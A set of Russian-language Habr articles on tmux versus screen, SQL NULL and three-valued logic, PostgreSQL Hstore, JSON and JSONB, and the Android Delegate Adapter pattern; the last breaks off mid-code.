Мы рассмотрели начальное состояние tmux. Если вы читали предыдущую [статью](https://habrahabr.ru/post/317534/), то вы могли заметить, что начальное состояние, да и вообще внешний вид tmux, не очень то и отличается от screen. За исключением того, что статусная строка нам доступна изначально. Давайте теперь рассмотрим tmux на примере более сложной задачи.
Для этого нам понадобиться [репозиторий](https://github.com/var-bin/terminalForCoder__WSD). Если вы его себе не клонировали на компьютер, то выполните следующую команду:
```
git clone https://github.com/var-bin/terminalForCoder__WSD.git
```
Далее запустите tmux. Для начала поработаем с вкладками. Нам понадобится 2-3 вкладки. Чтобы создать новую вкладку, нужно нажать следующие сочетания клавиш:
```
Ctrl + b, c - создать новую вкладку
```
Следующим шагом будет переименование вкладок. Для этого используйте:
```
Ctrl + b, , - переименовать вкладку
```
Для того, чтобы переключаться между вкладками, воспользуйтесь этими клавишами:
```
Ctrl + b, int - переключиться на нужную вкладку (int - номер вкладки 0 - 9)
```
Или
```
Ctrl + b, w - интерактивное переключение вкладок
```
С вкладками немного попрактиковались. Теперь давайте разобьем нашу текущую панель на две независимые панели. Обратите внимание на то, что данный layout не будет сохранятся для всех остальных вкладок. Для каждой вкладки tmux создаёт свой независимый layout. Делается это с помощью сочетания клавиш:
```
Ctrl + b, % - разбить текущую панель на две новых по вертикали
```
Теперь давайте запустим в той панели, что слева, какую-то утилиту. К примеру, [midnight commander](https://www.midnight-commander.org/) (любую другую утилиту) с помощью команды:
```
mc
```
Для перемещения между панелями, используйте эти сочетания клавиш:
```
Ctrl + b, ← ↑ → ↓ - перемещение между панелями
```
А в той панели, что справа, запустим наше тестовое приложение. Это простой чат, написанный на [node.js](https://nodejs.org/) и [socket.io](http://socket.io/). Этот пример взят с официального сайта socket.io. Единственное, что я добавил — это немного логирования, чтобы мы видели, что оно работает. Для этого нужно перейти в директорию `%repoName%/tmux/chat-example`. И выполнить команды:
```
npm i
node index.js
```
`%repoName%` — имя директории, в которую был склонирован репозитой.
Если все хорошо, то вы должны увидеть на экране строку:
```
listening on localhost:3000
```
После этого запустите браузер и в новой вкладке перейдите по адресу `localhost:3000`. Наберите любое сообщение в строке ввода и нажмите `Enter`. Как видите, все работает и вы можете прочитать это сообщение также и в терминале. В том регионе, где выполняли команду `node index.js`.
А теперь пришло время сделать то, что мы делали и в предыдущей статье. Сымитируем обрыв связи. Нужно закрыть терминал через крестик. Но при этом не закрывайте браузер. И попробуйте отправить еще несколько сообщений. Все продолжает работать. Это при том, что мы только что закрыли терминал.
Сессию и все процессы, которые были запущены tmux сохранил. Как мы знаем из предыдущей статьи, screen тоже умеет так делать. Давайте подключимся обратно к сессии tmux. Запустите терминал и выполните команду:
```
tmux attach
```
Как вы могли заметить, тот layout, который мы создавали раньше (разбивку панелей по вертикали), tmux сохранил. Это огромный плюс по сравнению с тем же screen’ом.
Полезные ссылки
---------------
1. [Хорошая шпаргалка по tmux](https://gist.github.com/MohamedAlaa/2961058)
2. [Хорошая шпаргалка по tmux (habr версия)](https://habrahabr.ru/post/126996/)
3. [Официальный сайт tmux](https://tmux.github.io/)
4. `man tmux` =)
screen vs. tmux
---------------
Пришло время сравнить screen и tmux. За время работы и со screen’ом, и c tmux’ом (примерно 2,5 года) я пришел к выводу, что screen’ом если и стоит пользоваться, то только в том случае, если вам недоступен tmux. Т.е. если вы не можете установить себе tmux или собрать его из исходников. Во всех остальных случаях лучше сразу начинать с tmux’а.
| **screen** | **tmux** |
| `-` Не умеет создавать layout для каждой вкладки
`-` Не умеет сохранять layout, если оборвалась связь или еще что-то там
`-` До версии 4.1 не умел делать разбивку по вертикали
`-` Когда вы создали новый регион, то в нем отдельно нужно создать новое окно `(Ctrl+a, c)`, выполнить переход в нужную директорию и т.д.
`-` Чтобы удалить регион тоже нужно помучатся `Ctrl+a, :remove` | `+` «с коробки» настроен довольно качественно
`+` Не нужно настраивать положение панели с вкладками, как их подсвечивать
`+` Умеет делить экран на панели, как по вертикали, так и по горизонтали
`+` Чтобы закрыть панель, достаточно набрать `exit`
`+` Умеет держать удаленное соединение`*`
\* нужна дополнительная магия
|
Давайте подытожим. Мы рассмотрели еще один из менеджеров терминалов, а именно tmux. Попрактиковались в установке, настройке. Использовали некоторые горячие клавиши. Попробовали tmux на примере. Увидели его преимущества по сравнению с тем же screen’ом.
Кроме screen и tmux есть довольно широкий выбор менеджеров терминалов для разных ОС, ваши личные предпочтения и пожелания.
На этом все. Спасибо за внимание. Кто дочитал до конца, отдельное спасибо. До встречи в следующей статье. | https://habr.com/ru/post/318376/ | null | ru | null |
# О бедненьком NULLе замолвите слово
Есть вещи, которые не нравятся, есть вещи, которые бесят, есть вызывающие жгучий гнев, и есть ситуация с NULL в SQL.
Догма
-----
Мы все выучили наизусть: NULL не равен NULL. И не неравен NULL. И не больше, и не меньше. И не не больше, и не не меньше. Там вот такая вот особая хтонь, про которую надо постоянно помнить и которую надо постоянно аккуратно бочком обходить. Почему так всё причудливо, вам, конечно, с удовольствием объяснят. Дело в том, что NULL это неизвестность. Тень мирового зла. Каждый NULL это маленькая смерть.
Если ты допустил NULL в своей базе, ты грешен, и нет тебе пощады. Ты должен и будешь страдать. Капля неизвестности отравляет всю реку, взгляд в неизвестность ослепляет, размышление о неизвестности лишает разума.
Любая операция с неизвестностью (кроме специально выкованных эльфами операторов проверки на неизвестность) должна давать неизвестность. Это догма. Попытка оспорить догму - ересь.
Но давайте всё же попытаемся разобраться в вопросе, не особо стесняясь задавать неудобные вопросы.
В чём проблема
--------------
Проблема в том, что NULL в SQL это сейчас единственное место в информационных технологиях, где реально "в Проде" применяется троичная логика. Всё было бы ничего, но:
1. Далеко не все об этом догадываются, и работают с этим как с обычной двоичной логикой, отягощённой некой загадочной "фичей".
2. Троичная логика не применяется нигде кроме вычисления условий. Вне условий результат UNDEFINED интерпретируется как FALSE. Даже внутри самого SQL.
3. Всё остальное окружение – бэкенды, фронтенды, аналитические инструменты, мозги разработчиков, мозги пользователей – всё приспособлено работать с двоичной логикой, а с троичной логикой работает через пень колоду.
В родной двоичной у нас так:
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| | | | **A and B** | | **A or B** |
| **A** | **not A** | | **A \ B** | **false** | **true** | | **A \ B** | **false** | **true** |
| false | true | | **false** | false | false | | **false** | false | true |
| true | false | | **true** | false | true | | **true** | true | true |
В троичной всё причудливее:
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| | | | **A and B** | | **A or B** |
| **A** | **not A** | | **A \ B** | **false** | **NULL** | **true** | | **A \ B** | **false** | **NULL** | **true** |
| false | true | | **false** | false | false | false | | **false** | false | NULL | true |
| NULL | NULL | | **NULL** | false | NULL | NULL | | **NULL** | NULL | NULL | true |
| true | false | | **true** | false | NULL | true | | **true** | true | true | true |
И дополнительно:
| | | | | |
| --- | --- | --- | --- | --- |
| **A** | **A is NULL** | **A is not NULL** | **A is TRUE** | **A is FALSE** |
| **false** | false | true | false | true |
| **NULL** | true | false | false | false |
| **true** | false | true | true | false |
По сути, внутри вычисления условия применяется троичная логика, но потом к результату применяется "is TRUE", чтобы перепрыгнуть в нормальную двоичную логику, используемую дальше.
Потому что никто понятия не имеет, как сделать систему, *целиком* основанную на троичной логике.
Ситуацию можно было бы посчитать нормальной, если бы SQL был экспериментальным изделием, на котором академическое сообщество обкатывает безумные идеи. Но это уже давно далеко не так.
Вообще изучать эту троичную логику одно удовольствие. Она интересна, красива. Но когда переходишь к практическому использованию в реальных проектах, слов, кроме матерных, не остаётся.
А насколько вообще нужен NULL?
------------------------------
Может быть можно и без него? Тогда бы и проблема троичной логики ушла бы сама собой.
На это есть два соображения – одно практическое, другое глубоко теоретическое:
* С практической точки зрения NULL – чрезвычайно удобная штука (если бы не троичная логика, конечно). Идеальный вариант для значения по умолчанию. Если по какой-то причине, коих кроме незнания ещё штук сто, нужно воздержаться от вписывания значения, NULL – лучший кандидат. Гораздо лучше, чем вписывать фейковое значение "родного" типа.
* С точки зрения математической основы реляционных баз данных nullable колонки даже намного естественнее и роднее, чем "not null".
Раскрою второй пункт подробнее.
Почему NULL полноправный гражданин в реляционных базах данных
-------------------------------------------------------------
Знаете почему реляционные базы данных называются реляционными? Реляция (relation) это связь, отношение. Когда говорят, что база реляционная, связь чего с чем имеется в виду? Я провёл небольшое исследование и опросил коллег. Все они неплохие разработчики, давно имеющие дело с базами данных, и все мне ответили, что термин "relational" делает акцент на том, что там есть не только таблички, но и связи между ними по внешнему ключу. Стрелочки на Entity-Relationship (ага, вот оно!) диаграммах. Что, конечно же, неправильно.
Отношениями в теории реляционных баз данных являются не связи между таблицами, а сами таблицы. И даже не сами таблицы, а подмножества их колонок.
Рассмотрим такую таблицу:
| | | | |
| --- | --- | --- | --- |
| **id** | **Фамилия** | **Имя** | **Отчество** |
| 1 | Иванов | Сергей | Петрович |
| 2 | Smith | John | |
| ... | | | |
Она задаёт *отношения* (те самые relations) между следующими множествами:
1. Множество "сущностей", представленное колонкой `id`.
2. Множество фамилий.
3. Множество человеческих имён.
4. Множество отчеств.
Факты, сохранённые в строчках, можно сформулировать так:
* Человек #1 имеет фамилию Иванов, имя Сергей, отчество Петрович.
* Человек #2 имеет фамилию Smith, имя John, отчество... ээээ... [смущается, плачет]... давайте впишем NULL.
Можно заметить, что по сути, каждая строчка содержит по три отдельных факта вида "человек #1 имеет фамилию Иванов", "человек #1 имеет имя Сергей" и т.д. Ах да, вторая строчка не содержит факта про отчество.
С точки зрения реляционной теории мы вполне вправе разделить таблицу `persons` на четыре отдельные: собственно `persons`, в которой остаётся только колонка `id`, и три связанные с ней по внешнему ключу таблицы `person_lnames`, `person_fnames` и `person_mnames`. Когда будет нужно вытащить всё вместе, будем вязать "колоночные" таблицы к основной внешним соединением. Что, конечно, не так удобно, но сути происходящего не меняет. За исключением того, что структура с четырьмя таблицами эквивалентна исходной только в том случае, если атрибуты Фамилия, Имя и Отчество все nullable. Жёсткий эквивалент "not NULL" в конструкции с четырьмя таблицами организовать не получится. При этом, что интересно, сами "колоночные" таблицы полностью "not NULL", а пустые значения возникают в результате внешнего соединения. Например, для Джона Смита просто нет соответствующей записи в таблице `person_mnames`.
Избавиться от хранения значений NULL в колонках можно, но они всё равно будут возникать в результатах внешних соединений. А если избавиться от внешних соединений, получим неполноту реализации реляционной алгебры.
Итак, NULL это не ошибка, не нелепица и не результат раздолбайства, а вещь, естественным и необходимым образом присутствующая в идейной основе реляционных баз данных. Об этом, кстати, ещё даже великий [Кодд](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%B4%D0%B4,_%D0%AD%D0%B4%D0%B3%D0%B0%D1%80) писал.
NULL и троичная логика
----------------------
Троичная логика не нужна. Без неё здесь можно обойтись точно так же, как мы без неё обходимся во всех остальных случаях. Двоичной логики "TRUE - FALSE" достаточно для любых применений. Без лишних усложнений. Для этого достаточно понять и принять два простых правила:
1. NULL равен NULL. Да, вот так, без глупостей. Единственное вполне объяснимое исключение – уникальный индекс на nullable колонке. Как мы помним, nullable колонка логически эквивалентна отдельной "колоночной" таблице, в которую в случае отсутствия значения просто не добавляется строка.
2. NULL меньше любого не-NULL значения. Почему не больше? Да просто потому что POLA ([Principle of least astonishment](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D0%BE_%D0%BD%D0%B0%D0%B8%D0%BC%D0%B5%D0%BD%D1%8C%D1%88%D0%B5%D0%B3%D0%BE_%D1%83%D0%B4%D0%B8%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F)).
Насколько мне известно, не существует ни одного рационального аргумента в пользу того, что результат сравнения "NULL = NULL" должен быть чем-то кроме TRUE. Только всякое бессмысленное словоблудие об инфернальной природе пустоты. Больше нигде – ни в науке, ни в технике, ни в культуре, ни в искусстве нет такого, чтобы отношение идентичности "is" было слабее отношения равенства.
Что касается практической полезности троичной логики, то полезность эта отсутствует. По крайней мере, я не могу вспомнить ни одного случая, когда эта самая троичная магия мне для чего-то пригодилась. Она всегда помеха, которую приходится преодолевать.
Единственное, для чего эти пляски вокруг NULL по-настоящему пригождаются, это чтобы трахать студентов на зачётах и экзаменах.
Выводы
------
Нужно признать, что решение применить троичную логику для NULL было концептуальной ошибкой, последствия которой индустрия разгребает уже несколько десятилетий, каждый день тратя уйму ресурсов и проливая тонны пота и слёз. И не имея взамен ровным счётом ничего.
Спасибо, господа академики, опыт был интересным и поучительным. Теперь пора исправить ошибку и двигаться дальше. В любом случае, рано или поздно, ошибку придётся исправлять.
Идея для стартапа: форкнуть Постгрес и сделать Postgres BFE (Bullshit-free Edition). И посмотреть, как народу зайдёт такая еретическая идея. Да, не соответствует стандарту SQL, ну так это... стандарты надо нормальные делать. | https://habr.com/ru/post/684600/ | null | ru | null |
# Когда использовать неструктурированные типы данных в PostgreSQL? Сравнение Hstore vs. JSON vs. JSONB
С тех пор как PostgreSQL начал поддерживать NoSQL (посредством HStore, JSON и JSONB), вопрос о том, когда использовать PostgreSQL в реляционном режиме, а в каких в режиме NoSQL, стал подниматься достаточно часто. Получится ли у вас полностью отказаться от традиционных структур таблиц и работать с представлениями документов в будущем? Смешивать ли оба подхода? Ответ на этот вопрос не удивителен — все зависит от многих факторов. Каждая новая модель хранения данных включая Hstore, JSON и JSONB имеет свои идеальные варианты применения. Тут мы копнём глубже и узнаем об особенностях каждой из них и посмотрим когда что использовать
HStore
------
Если исключить [XML](https://www.postgresql.org/docs/9.5/static/datatype-xml.html), Hstore был первым по-настоящему неструктурированным типом данных, добавленным в PostgreSQL. Hstore был добавлен достаточно давно в Postgres 8.3 до [upsert](http://www.craigkerstiens.com/2015/05/08/upsert-lands-in-postgres-9.5/), до [потоковой репликации](https://wiki.postgresql.org/wiki/Streaming_Replication), и до [оконных функций](http://postgresguide.com/tips/window.html). Hstore это по существу хранилище ключ/значение непосредственно в PostgreSQL. Используя Hstore вы ограничены в выборе используемого типа данных. По сути у вас есть только строки. У вас даже нет вложенности данных; Короче говоря, это одноуровневый тип данных ключ/значение.
Достоинством Hstore является то, что вам не нужно определять ключи (в отличии от столбцов) заранее. Вы можете просто вставить запись, и она будет хранить все необходимые данные. Скажем, у вас есть пример скрипта на создание таблицы:
```
CREATE TABLE products (
id serial PRIMARY KEY,
name varchar,
attributes hstore
);
```
С помощью Hstore вы можете вставить все, что вы хотите в колонку атрибутов. В этом случае запрос на добавление этих ключей и значений будет выглядеть следующим образом:
```
INSERT INTO products (name, attributes) VALUES (
'Geek Love: A Novel',
'author => "Katherine Dunn",
pages => 368,
category => fiction'
);
```
Запрос на выборку будет иметь вид:
```
SELECT name, attributes->'author' as author
FROM products
WHERE attributes->'category' = 'fiction'
```
Очевидным преимуществом такого подхода является гибкость, но вот где он действительно проявляет себя полностью, так это возможностью использовать различные типы индексов. В частности, GIN или GiST индекс будет индексировать каждый ключ и значение в пределах Hstore. Т.е., при фильтрации будет использован добавленный индекс, в случае если этого потребует планировщик PostgreSQL.
Поскольку Hstore не является полным эквивалентом документа, важно понять выгодно ли использовать его в качестве такового.
Если у вас есть реляционные данные и также некоторые данные, которые не всегда могут существовать в колонке, то такой подход может стать отличным решением. Например, в большинстве случаев атрибуты каталогов продукции могут быть прекрасным примером для такого типа данных. Тогда, для некоторых продуктов, таких как книги (которые вы храните в отдельной таблице “Products”) могут быть определены такие параметры, как жанр, год издания. В другом случае для продуктов, таких как одежда, которую вы тоже храните в этой же таблице, могут быть определены уже другие параметры — размер и цвет. Добавлять же столбец в таблицу продуктов для каждого возможного параметра избыточно и неоправданно.
JSON
----
Начиная с версии 9.2 в Postgres реализована поддержка JSON. Теперь, PostgreSQL может составить конкуренцию MongoDB. (Хотя функциональность JSON в PostgreSQL 9.2, конечно, [немного преувеличенна](http://clarkdave.net/2013/06/what-can-you-do-with-postgresql-and-json/). Об этом ниже.)
Тип данных в формате JSON в Postgres, если разобраться в значительной степени просто текстовое поле. Всё что вы получите с типом данных JSON так это валидацию значения при вставке. Postgres обеспечивает соблюдение формата JSON. Одним небольшим потенциальным преимуществом над JSONB (который мы рассмотрим следующим) является то, что JSON сохраняет отступы в данных, поступающих в БД. Так что если вы очень требовательны к форматированию ваших данных или вам необходимо сохранить запись в той или иной структуре, JSON может оказаться полезным.
Кроме того, с течением времени Postgres приобрёл ряд довольно полезных [функций](https://www.postgresql.org/docs/9.3/static/functions-json.html). Должны ли вы использовать JSON? Ведь, PostgreSQL-ный тип JSON просто предоставляет проверку на текстовом поле. Если вы храните некоторую форму данных журнала, которую редко запрашиваете, тип данных JSON в этом случае работает хорошо. Так как JSON довольно прост, то он будет иметь гораздо более высокую пропускную способность при вставке. Для чего-либо более сложного, я бы рекомендовал использовать JSONB, который будет описан ниже.
JSONB
-----
Наконец, в Postgres 9.4 мы получили настоящую и правильную поддержку JSON в виде JSONB. B означает “лучше” (Better). JSONB — это бинарное представление данных в формата JSON. Это означает, что данные сжимается и более эффективны для хранения, чем обычный текст. Кроме того, под капотом у него механизм, подобный Hstore. Технически, когда-то при разработке, был почти реализованный тип Hstore2 и отдельный тип JSON и впоследствии они были объединены в JSONB в том виде, как он есть сейчас.
Тип JSONB представляет в значительной степени то, что вы могли бы ожидать от типа данных JSON. Он позволяет реализовывать вложенные структуры, использовать основные типы данных, а также имеет ряд встроенных функций для работы с ним. Лучшей частью такой схожести с Hstore является индексация. Создание индекса GIN на колонке JSONB создаст индекс по каждому ключу и значению в пределах этого документа JSON. Возможность индексации и вложенность данных внутри документа означают, что JSONB превосходит Hstore в большинстве случаев.
Хотя все еще остаётся небольшой вопрос о том, в каких случаях следует использовать исключительно JSONB. Допустим, вы создаете базу данных документов и из всех вариантов выбираете Postgres. С пакетом, наподобие [MassiveJS](http://www.craigkerstiens.com/2015/12/08/massive-json/) это может быть довольно удобным.
Наиболее распространенные примеры использования:
1. Отслеживание событий данных, добавляя изменяющийся payload события.
2. Хранение игровых данные достаточно распространено, особенно там, где у вас есть одиночная игра и изменяющаяся схема данных на основе состояния пользователя.
3. Инструменты, которые объединяют несколько источников данных, пример здесь может быть инструментом, который интегрирует несколько баз данных клиентов к Salesforce, к Zendesk или к чему-то еще. Сочетание схем делает это более болезненной процедурой, чем она должна быть.
Давайте рассмотрим, другой пример работы с JSONB. Скрипт создает таблицу и вставляет некоторые данные для примера:
```
CREATE TABLE integrations (id UUID, data JSONB);
INSERT INTO integrations VALUES (
uuid_generate_v4(),
'{
"service": "salesforce",
"id": "AC347D212341XR",
"email": "craig@citusdata.com",
"occurred_at": "8/14/16 11:00:00",
"added": {
"lead_score": 50
},
"updated": {
"updated_at": "8/14/16 11:00:00"
}
}');
INSERT INTO integrations (
uuid_generate_v4 (),
'{
"service": "zendesk",
"email": "craig@citusdata.com",
"occurred_at": "8/14/16 10:50:00",
"ticket_opened": {
"ticket_id": 1234,
"ticket_priority": "high"
}
}');
```
В приведенном выше случае, можно легко найти все события, которые произошли c пользователем с email craig@citusdata.com, а затем делать какие-то действия. Например, можно провести какую-либо форму поведенческой аналитики, и вычислить пользователей которые сделали foo а затем bar, или сделать простой отчет.
Добавив индекс Gin все данные в пределах моего JSONB поля проиндексируются автоматически:
```
CREATE INDEX idx_integrations_data ON integrations USING gin(data);
```
Заключение
----------
В большинстве случаев JSONB это, вероятно, как раз то, что вы ищите, когда планируете использовать нереляционный тип данных. Для Hstore и JSON можно также найти хорошее применение хоть и в более редких случаях. JSONB не всегда вписывается в модель данных. В случае если вы можете нормализовать схему, то у вас будет преимущество, но если в схеме, большое количество опциональных столбцов (например, с данными о событиях) или одна схема сильно отличается от другой, то JSONB подходит гораздо лучше.
Резюмируя, алгоритм выбора решения:
JSONB — В большинстве случаев
JSON — Если вы обрабатываете логи, вам не часто приходится запрашивать данные или не нужно использовать их как что-то большее чем для задач логирования.
Hstore — отлично работает с текстовыми данными на основе представления ключ-значение, но в целом JSONB также отлично справляется с этой задачей. | https://habr.com/ru/post/306602/ | null | ru | null |
# Delegate Adapter — зачем и как
Практически во всех проектах, которыми я занимался, приходилось отображать список элементов (ленту), и эти элементы были разного типа. Часто задача решалась внутри главного адаптера, определяя тип элемента через instanceOf в getItemViewType(). Когда в ленте 2 или 3 типа, кажется, что такой подход себя оправдывает… Или нет? Что, если завтра придет требование ввести еще несколько типов да еще и по какой-то замысловатой логике?
В статье хочу показать, как паттерн DelegateAdapter позволяет решить эту проблему. Знакомым с паттерном может быть интересно посмотреть реализацию на Kotlin с использованием LayoutContainer.
### Проблема
Начнем с примера. Предположим, у нас есть задача отобразить ленту с двумя типами данных — текст с описанием и картинка.
**Создадим модели для типов.**
```
public interface IViewModel {}
```
```
public class TextViewModel implements IViewModel {
@NonNull public final String title;
@NonNull public final String description;
public TextViewModel(@NonNull String title, @NonNull String description) {
this.title = title;
this.description = description;
}
}
```
```
public class ImageViewModel implements IViewModel {
@NonNull public final String title;
@NonNull public final @DrawableRes int imageRes;
public ImageViewModel(@NonNull String title, @NonNull int imageRes) {
this.title = title;
this.imageRes = imageRes;
}
}
```
**Типичный адаптер выглядел бы примерно так**
```
public class BadAdapter extends RecyclerView.Adapter {
private static final int TEXT\_VIEW\_TYPE = 1;
private static final int IMAGE\_VIEW\_TYPE = 2;
private List items;
private View.OnClickListener imageClickListener;
public BadAdapter(List items,
View.OnClickListener imageClickListener) {
this.items = items;
this.imageClickListener = imageClickListener;
}
public int getItemViewType(int position) {
IViewModel item = items.get(position);
if (item instanceof TextViewModel) return TEXT\_VIEW\_TYPE;
if (item instanceof ImageViewModel) return IMAGE\_VIEW\_TYPE;
throw new IllegalArgumentException(
"Can't find view type for position " + position);
}
@Override
public RecyclerView.ViewHolder onCreateViewHolder(
ViewGroup parent, int viewType) {
RecyclerView.ViewHolder holder;
LayoutInflater inflater = LayoutInflater.from(parent.getContext());
if (viewType == TEXT\_VIEW\_TYPE) {
holder = new TextViewHolder(
inflater.inflate(R.layout.text\_item, parent, false));
} else if (viewType == IMAGE\_VIEW\_TYPE) {
holder = new ImageViewHolder(
inflater.inflate(R.layout.image\_item, parent, false),
imageClickListener);
} else {
throw new IllegalArgumentException(
"Can't create view holder from view type " + viewType);
}
return holder;
}
@Override
public void onBindViewHolder(RecyclerView.ViewHolder holder, int position) {
int viewType = getItemViewType(position);
if (viewType == TEXT\_VIEW\_TYPE) {
TextViewHolder txtViewHolder = (TextViewHolder) holder;
TextViewModel model = (TextViewModel) items.get(position);
txtViewHolder.tvTitle.setText(model.title);
txtViewHolder.tvDescription.setText(model.description);
} else if (viewType == IMAGE\_VIEW\_TYPE) {
ImageViewHolder imgViewHolder = (ImageViewHolder) holder;
ImageViewModel model = (ImageViewModel) items.get(position);
imgViewHolder.tvTitle.setText(model.title);
imgViewHolder.imageView.setImageResource(model.imageRes);
} else {
throw new IllegalArgumentException(
"Can't create bind holder fro position " + position);
}
}
@Override
public int getItemCount() {
return items.size();
}
private static class TextViewHolder extends RecyclerView.ViewHolder {
private TextView tvTitle;
private TextView tvDescription;
private TextViewHolder(View parent) {
super(parent);
tvTitle = parent.findViewById(R.id.tv\_title);
tvDescription = parent.findViewById(R.id.tv\_description);
}
}
private static class ImageViewHolder extends RecyclerView.ViewHolder {
private TextView tvTitle;
private ImageView imageView;
private ImageViewHolder(View parent,
View.OnClickListener listener) {
super(parent);
tvTitle = parent.findViewById(R.id.tv\_title);
imageView = parent.findViewById(R.id.img\_bg);
imageView.setOnClickListener(listener);
}
}
}
```
Минус такой реализации в нарушении принципов DRY и SOLID (single responsibility и open closed). Чтобы в этом убедиться, достаточно добавить два требования: ввести новый тип данных (чекбокс) и еще одну ленту, где будут только чекбоксы и картинки.
Перед нами встает выбор — использовать этот же адаптер для второй ленты или создать новый? Независимо от решения, которое мы выберем, нам придется менять код (об одном и том же, но в разных местах). Надо будет добавить новый VIEW\_TYPE, новый ViewHolder и отредактировать методы: getItemViewType(), onCreateViewHolder() и onBindViewHolder().
Если мы решим оставить один адаптер, то на этом изменения закончатся. Но если в будущем новые типы данных с новой логикой будут добавляться только во вторую ленту, первая будет иметь лишний функционал, и ее тоже нужно будет тестировать, хотя она не изменялась.
Если решим создать новый адаптер, то будет просто масса дублирующего кода.
### Готовые решения
С данной проблемой успешно справляется паттерн Delegate Adapter — не нужно изменять уже написанный код, легко переиспользовать имеющиеся адаптеры.
Впервые с паттерном я столкнулся, читая [цикл статей](https://android.jlelse.eu/keddit-part-4-recyclerview-delegate-adapters-data-classes-with-kotlin-9248f44327f7) Жуана Игнасио о написании проекта на Котлин. Реализация Жуана, как и решение, освещенное на хабре — [RendererRecyclerViewAdapter](https://habrahabr.ru/post/323862/), — не нравится мне тем, что знание о ViewType распространяется по всем адаптерам и даже дальше.
**Подробное объяснение**В решении Жуана нужно загеристрировать ViewType:
```
object AdapterConstants {
val NEWS = 1
val LOADING = 2
}
```
создать модель, реализующую интерфейс ViewType:
```
class SomeModel : ViewType {
override fun getViewType() = AdapterConstants.NEWS
}
```
зарегистрировать DelegateAdapter c нужно константой:
```
delegateAdapters.put(AdapterConstants.NEWS, NewsDelegateAdapter(listener))
```
Таким образом, логика с типом данных размазывается по трем классам (константы, модель и место, где происходит регистрирование). Кроме того, нужно следить за тем, чтобы случайно не создать две константы с одним и тем же значением, что очень легко сделать в решении с RendererRecyclerViewAdapter:
```
class SomeModel implements ItemModel {
public static final int TYPE = 0; // вдруг 0 есть у какой-то еще модели?
@NonNull private final String mTitle;
...
@Override public int getType() {
return TYPE;
}
}
```
Оба описанных подхода основаны на библиотеке [AdapterDelegates](https://github.com/sockeqwe/AdapterDelegates) Ханса Дорфмана, которая мне нравится больше, хотя и вижу недостаток в необходимости создавать адаптер. Эта часть — «бойлерплейт», без которого можно было бы обойтись.
### Другое решение
Код лучше слов скажет за себя. Давайте попробуем реализовать ту же ленту с двумя типами данных (текст и картинка). Реализацию напишу на Kotlin с использованием LayoutContainer (подробнее расскажу ниже).
Пишем адаптер для текста:
```
class TxtDelegateAdapter : KDelegateAdapter() {
override fun onBind(item: TextViewModel, viewHolder: KViewHolder) =
with(viewHolder) {
tv\_title.text = item.title
tv\_description.text = item.description
}
override fun isForViewType(items: List<\*>, position: Int) =
items[position] is TextViewModel
override fun getLayoutId(): Int = R.layout.text\_item
}
```
адаптер для картинок:
```
class ImageDelegateAdapter(private val clickListener: View.OnClickListener)
: KDelegateAdapter() {
override fun onBind(item: ImageViewModel, viewHolder: KViewHolder) =
with(viewHolder) {
tv\_title.text = item.title
img\_bg.setOnClickListener(clickListener)
img\_bg.setImageResource(item.imageRes)
}
override fun isForViewType(items: List<\*>, position: Int) =
items[position] is ImageViewModel
override fun getLayoutId(): Int = R.layout.image\_item
}
```
и регистрируем адаптеры в месте создания главного адаптера:
```
val adapter = CompositeDelegateAdapter.Builder()
.add(ImageDelegateAdapter(onImageClick))
.add(TextDelegateAdapter())
.build()
recyclerView.layoutManager = LinearLayoutManager(this)
recyclerView.adapter = adapter
```
Это все, что нужно сделать для решения поставленной задачи. Обратите внимание, насколько меньше кода, по сравнению с классической реализацией. Кроме того, данный подход позволяет легко добавлять новые типы данных и комбинировать DelegateAdapter-ы между собой.
Давайте представим, что поступило требование добавить новый тип данных (чекбокс). Что нужно будет сделать?
Создать модель:
```
class CheckViewModel(val title: String, var isChecked: Boolean): IViewModel
```
написать адаптер:
```
class CheckDelegateAdapter : KDelegateAdapter() {
override fun onBind(item: CheckViewModel, viewHolder: KViewHolder) =
with(viewHolder.check\_box) {
text = item.title
isChecked = item.isChecked
setOnCheckedChangeListener { \_, isChecked ->
item.isChecked = isChecked
}
}
override fun onRecycled(viewHolder: KViewHolder) {
viewHolder.check\_box.setOnCheckedChangeListener(null)
}
override fun isForViewType(items: List<\*>, position: Int) =
items[position] is CheckViewModel
override fun getLayoutId(): Int = R.layout.check\_item
}
```
и добавить строчку к созданию адаптера:
```
val adapter = CompositeDelegateAdapter.Builder()
.add(ImageDelegateAdapter(onImageClick))
.add(TextDelegateAdapter())
.add(CheckDelegateAdapter())
.build()
```
Новый тип данных в ленте — это layout, ViewHolder и логика байндинга. Предложенный подход мне нравится еще и тем, что все это находится в одном классе. В некоторых проектах ViewHolder-ы и ViewBinder-ы выносят в отдельные классы, а инфлейтинг layout-а происходит в главном адаптере. Представьте задачу — нужно просто изменить размер шрифта в одном из типов данных в ленте. Вы заходите во ViewHolder, там видите findViewById(R.id.description). Щелкаете по description, и Идея предлагает 35 layout-ов, в которых есть view с таким id. Тогда вы идете в главный адаптер, затем в ParentAdapter, затем в метод onCreateViewHolder, и наконец, надо найти нужный внутри switch в 40 элементов.
В разделе «проблема» было требование с созданием еще одной ленты. С delegate adapter задача становится тривиальной — просто создать CompositeAdapter и зарегистрировать нужные типы DelegateAdapter-ов:
```
val newAdapter = CompositeDelegateAdapter.Builder()
.add(ImageDelegateAdapter(onImageClick))
.add(CheckDelegateAdapter())
.build()
```
Т.е. адаптеры не зависимы друг от друга и их можно легко комбинировать. Еще одним преимуществом является удобство передачи обработчиков (onСlickListener). В BadAdapter (пример выше) обработчик передавался адаптеру, а тот уже передавал его ViewHolder-у. Это увеличивает связность кода. В предложенном же решении обработчики передаются через конструктор только тем классам, которым они необходимы.
### Реализация
Для базовой реализации (без Котлина и LayoutContainer), нужно 4 класса:
**interface DelegateAdapter**
```
public interface IDelegateAdapter {
@NonNull
RecyclerView.ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType);
void onBindViewHolder(@NonNull VH holder,
@NonNull List items,
int position);
void onRecycled(VH holder);
boolean isForViewType(@NonNull List items, int position);
}
```
**Основной адаптер**
```
public class CompositeDelegateAdapter
extends RecyclerView.Adapter {
private static final int FIRST\_VIEW\_TYPE = 0;
protected final SparseArray typeToAdapterMap;
protected final @NonNull List data = new ArrayList<>();
protected CompositeDelegateAdapter(
@NonNull SparseArray typeToAdapterMap) {
